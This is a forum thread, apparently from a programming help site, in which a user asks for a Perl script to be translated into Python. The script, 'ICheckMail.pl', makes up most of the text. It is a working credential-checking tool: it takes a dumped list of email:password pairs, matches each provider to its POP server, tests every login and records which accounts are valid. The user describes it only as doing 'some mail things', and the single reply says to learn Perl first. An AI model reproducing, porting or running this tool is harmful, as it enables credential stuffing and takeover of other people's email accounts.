0

Hi,
I have a code in perl that does some mail things and I would like to translate it to perl
can someone help me please? I dont know perl so i want it in python so i can edit it.
here is the code:

#!/usr/bin/perl -w

# USAGE :
# ICheckMail.pl <login_&_pass_list.txt> <results.txt>
# <login_&_pass_list.txt> must be formatted like this:  username@provider.xxx:pass
# example :
# ICheckMail.pl dump.txt results.txt

if(@ARGV!= 2){&usage;}
else{
print "\n";
print "-------------------------------\n";
print "-        ICheckMail.pl        -\n";
print "-------------------------------\n";
print "-         Version 1.00        -\n";
print "-           By b0110x         -\n";
print "-------------------------------\n";
print "\n";
print "Starting...\n";
print "\n";

$loginlist = $ARGV[0];
$resultlist = $ARGV[1];
$comptcourant = 0;
$comptpo = 0;
sub test($$);


open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    @tab = <MYFILE>;
    chomp(@tab);
    $total = scalar @tab;

    print "$total email accounts to check\n";
    print "\n";

    open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    print "Openning file $loginlist\n";
    print "Connecting to POP servers...\n";
    print "\n";


while(my $ligne = <MYFILE>){

    chomp($ligne);

    @details = split(/[@,:]/,$ligne);

    #$details[0] = user
    #$details[1] = provider
    #$details[2] = pass

if(($details[0]) and ($details[1]) and ($details[2])){
        $details[0] =~tr/[A-Z]/[a-z]/;
        $details[1] =~tr/[A-Z]/[a-z]/;
        $comptcourant = $comptcourant + 1;
        $port = "110";
        $SSL = 0;
        $AUTH_MODE = 'BEST';


# Beginning of POP servers list (modify it !!)


if    
    ($details[1] =~ m/qwestoffice.net/)                    # qwestoffice.net
    {$pop = "pop.qwestoffice.net";}
elsif
    ($details[1] =~ m/windstream/)                    # windstream.net
    {$pop = "pop.windstream.net";}
elsif
    ($details[1] =~ m/gmail/)                # gmail =====> SSL
    {$pop = "pop.gmail.com";
     $port = "995";
     $SSL = 1;}
elsif
    ($details[1] =~ m/gmx/)                    # gmx =====> SSL
    {$pop = "pop.gmx.com";
     $port = "995";
     $SSL = 1;
     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
elsif
    ($details[1] =~ m/caramail/)            # gmx =====> SSL
    {$pop = "pop.gmx.com";
     $port = "995";
     $SSL = 1;
     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
elsif
    ($details[1] =~ m/hotmail/)                # hotmail =====> SSL
    {$pop = "pop3.live.com";
     $port = "995";
     $SSL = 1;
     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
elsif
    ($details[1] =~ m/live/)                # live =====> SSL
    {$pop = "pop3.live.com";
     $port = "995";
     $SSL = 1;
     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
elsif
    ($details[1] =~ m/msn/)                    # msn =====> SSL
    {$pop = "pop3.live.com";
     $port = "995";
     $SSL = 1;
     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
elsif
    ($details[1] =~ m/yahoo/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.fr";
     $port = "995";
     $SSL = 1;}
else
    {$pop = "UNKNOWN POP !!";}

# End of POP servers list




if ($details[0] =~ m/\@/)
    { print "$comptcourant:$total EMAIL $details[0]    PASS $details[2]    ";}
else
    {print "$comptcourant:$total EMAIL $details[0]\@$details[1]    PASS $details[2]    ";}

if(test($details[0],$details[2]))
    {$result = "OK";
    $comptpo = $comptpo + 1;
    print "OK\n";}
else
    {$result = "NO";
    print "NO\n";}
}

else
    {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
     print "Process stopped...\n";
    exit(1);}


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
if ($details[0] =~ m/\@/)
    {print LOG "$details[0]:$details[2]:$result:$pop\n";}
else
    {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
    close(LOG);
}


$stat = sprintf("%.2f",(($comptpo * 100) / $total));


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
print LOG "\n";
print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
print LOG "\n";
close(LOG);


print "\n";
print "Writing results in $resultlist\n";
print "\n";
print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
}


sub test($$){
  $user = $_[0];
  $pass = $_[1];

use Mail::POP3Client;
$mail = new Mail::POP3Client( HOST  => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
$mail->User( $user );
$mail->Pass( $pass );
$mail->Port( $port );

    if( $mail->Connect == 0 ) # 0=NO 1=OK
        {return 0;}
    else
        {return 1;}
}


  sub usage{
    print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
    print "[-] <input.txt> must be formatted like this:  login\@provider.com:pass\n";
    print "[-] example :";
    print "[-] ICheckMail.pl dump.txt results.txt\n";
    die("[!] Usage incorrect !!\n");
}
3
Contributors
2
Replies
20
Views
2 Years
Discussion Span
Last Post by pyTony
2

If you want to convert Perl into Python, the first step you'll need to take is to learn Perl. Otherwise I'm not sure how you can pull it off.

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.